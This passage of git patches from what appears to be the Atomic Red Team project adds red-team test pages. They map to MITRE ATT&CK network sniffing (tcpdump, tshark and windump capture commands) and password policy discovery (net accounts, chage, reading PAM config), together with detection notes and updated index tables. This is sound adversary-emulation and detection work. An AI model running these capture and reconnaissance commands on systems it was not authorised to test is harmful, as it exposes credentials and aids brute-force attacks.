Capture](./T1056/T1056.md) - [T1141 Input Prompt](./T1141/T1141.md) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 1a5e2d61..1dd1bafc 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -253,6 +253,8 @@ - Atomic Test #3: Windows Credential Editor [windows] - Atomic Test #4: Registry dump of SAM, creds, and secrets [windows] - [T1081 Credentials in Files](./T1081/T1081.md) + - Atomic Test #3: Mimikatz & Kittenz [windows] + - Atomic Test #4: Extracting credentials from files [windows] - T1214 Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) From 5c5af6bf4401f5cced72bdb8394944f22f8dab92 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 27 Jun 2018 11:20:12 +0000 Subject: [PATCH 50/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1040/T1040.md | 105 ++++++++++++++++++++++++++++++++++++++ atomics/index.md | 6 ++- atomics/linux-index.md | 3 +- atomics/linux-matrix.md | 2 +- atomics/macos-index.md | 3 +- atomics/macos-matrix.md | 2 +- atomics/matrix.md | 2 +- atomics/windows-index.md | 4 +- atomics/windows-matrix.md | 2 +- 9 files changed, 121 insertions(+), 8 deletions(-) create mode 100644 atomics/T1040/T1040.md diff --git a/atomics/T1040/T1040.md b/atomics/T1040/T1040.md new file mode 100644 index 00000000..b69eff2d --- /dev/null +++ b/atomics/T1040/T1040.md @@ -0,0 +1,105 @@ +# T1040 - Network Sniffing +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1040) +
    Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. + +User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. + +Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. + +Platforms: Linux, macOS, Windows + +Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow + +Permissions Required: Administrator, SYSTEM + +System Requirements: Network interface access and packet capture driver
    + +## Atomic Tests + +- [Atomic Test #1 - Packet Capture Linux](#atomic-test-1---packet-capture-linux) + +- [Atomic Test #2 - Packet Capture MacOS](#atomic-test-2---packet-capture-macos) + +- [Atomic Test #3 - Packet Capture Windows Command Prompt](#atomic-test-3---packet-capture-windows-command-prompt) + +- [Atomic Test #4 - Packet Capture PowerShell](#atomic-test-4---packet-capture-powershell) + + +
    + +## Atomic Test #1 - Packet Capture Linux +Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. + +**Supported Platforms:** Linux + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| interface | Specify interface to perform PCAP on. | String | ens33| + +#### Run it with `bash`! +``` +tcpdump -c 5 -nnni #{interface} +tshark -c 5 -i #{interface} +``` +
    +
    + +## Atomic Test #2 - Packet Capture MacOS +Perform a PCAP on MacOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed. + +**Supported Platforms:** macOS + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| interface | Specify interface to perform PCAP on. | String | en0A| + +#### Run it with `bash`! +``` +tcpdump -c 5 -nnni #{interface} +tshark -c 5 -i #{interface} +``` +
    +
    + +## Atomic Test #3 - Packet Capture Windows Command Prompt +Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark +installed, along with WinPCAP. Windump will require the windump executable. + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| interface | Specify interface to perform PCAP on. | String | Ethernet0| + +#### Run it with `command_prompt`! +``` +c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 +c:\windump.exe +``` +
    +
    + +## Atomic Test #4 - Packet Capture PowerShell +Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark +installed, along with WinPCAP. Windump will require the windump executable. + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| interface | Specify interface to perform PCAP on. | String | Ethernet0| + +#### Run it with `powershell`! +``` +c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 +c:\windump.exe +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 8c19750d..01d3d534 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -388,7 +388,11 @@ - [T1142 Keychain](./T1142/T1142.md) - Atomic Test #1: Keychain [macos] - T1171 LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] + - Atomic Test #2: Packet Capture MacOS [macos] + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] - T1174 Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 615f39a5..d6776988 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -104,7 +104,8 @@ - Atomic Test #2: Extract credentials from files [macos, linux] - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1056 Input Capture](./T1056/T1056.md) -- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] - [T1145 Private Keys](./T1145/T1145.md) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index 3b1ed44c..b04c4f5a 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -6,7 +6,7 @@ | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 3cfdee24..0bcd7644 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -163,7 +163,8 @@ - Atomic Test #1: Prompt User for Password [macos] - [T1142 Keychain](./T1142/T1142.md) - Atomic Test #1: Keychain [macos] -- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #2: Packet Capture MacOS [macos] - [T1145 Private Keys](./T1145/T1145.md) - T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 9d7b0e58..5712950b 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -8,7 +8,7 @@ | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Users](./T1147/T1147.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/matrix.md b/atomics/matrix.md index cd5a1447..669d9754 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -15,7 +15,7 @@ | | [Launchctl](./T1152/T1152.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Keychain](./T1142/T1142.md) | [Security Software Discovery](./T1063/T1063.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Mshta](./T1170/T1170.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Information Discovery](./T1082/T1082.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [PowerShell](./T1086/T1086.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Disabling Security Tools](./T1089/T1089.md) | [Network Sniffing](./T1040/T1040.md) | [System Network Configuration Discovery](./T1016/T1016.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | System Network Connections Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Windows Admin Shares](./T1077/T1077.md) | | | [Remote File Copy](./T1105/T1105.md) | | | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Private Keys](./T1145/T1145.md) | [System Owner/User Discovery](./T1033/T1033.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 1dd1bafc..84ff6e8e 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -264,7 +264,9 @@ - Atomic Test #1: Input Capture [windows] - T1208 Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1171 LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1040 Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] - T1174 Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index 99d1dd55..e77e3eb4 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -12,7 +12,7 @@ | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DCShadow](./T1207/T1207.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Mshta](./T1170/T1170.md) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LLMNR/NBT-NS Poisoning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Query Registry](./T1012/T1012.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Sniffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | [Create Account](./T1136/T1136.md) | [Image File Execution Options Injection](./T1183/T1183.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Remote System Discovery](./T1018/T1018.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Regsvcs/Regasm](./T1121/T1121.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | Password Filter DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](./T1063/T1063.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Regsvr32](./T1117/T1117.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Rundll32](./T1085/T1085.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | [Remote File Copy](./T1105/T1105.md) | From 620042a9a609248cbc14d4b67247c90dd79386f1 Mon Sep 17 00:00:00 2001 From: ForensicITGuy Date: Thu, 28 Jun 2018 00:50:08 -0500 Subject: [PATCH 51/91] Commit test T1201 Password Policy Discovery --- atomics/T1201/T1201.md | 92 ++++++++++++++++++++++++++++++++++++++++ atomics/T1201/T1201.yaml | 54 +++++++++++++++++++++++ 2 files changed, 146 insertions(+) create mode 100644 atomics/T1201/T1201.md create mode 100644 atomics/T1201/T1201.yaml diff --git a/atomics/T1201/T1201.md b/atomics/T1201/T1201.md new file mode 100644 index 00000000..a0c6513d --- /dev/null +++ b/atomics/T1201/T1201.md @@ -0,0 +1,92 @@ +# T1201 - Password Policy Discovery +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1201) +
    Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). + +Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) + +===Windows=== +* net accounts +* net accounts /domain + +===Linux=== +* chage -l +* cat /etc/pam.d/common-password + +===macOS=== +* pwpolicy getaccountpolicies + +Detection: Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. + +Platforms: Linux, Windows, macOS + +Data Sources: Process command-line parameters, Process Monitoring + +Permissions Required: User + +Contributors: Sudhanshu Chauhan, @Sudhanshu_C
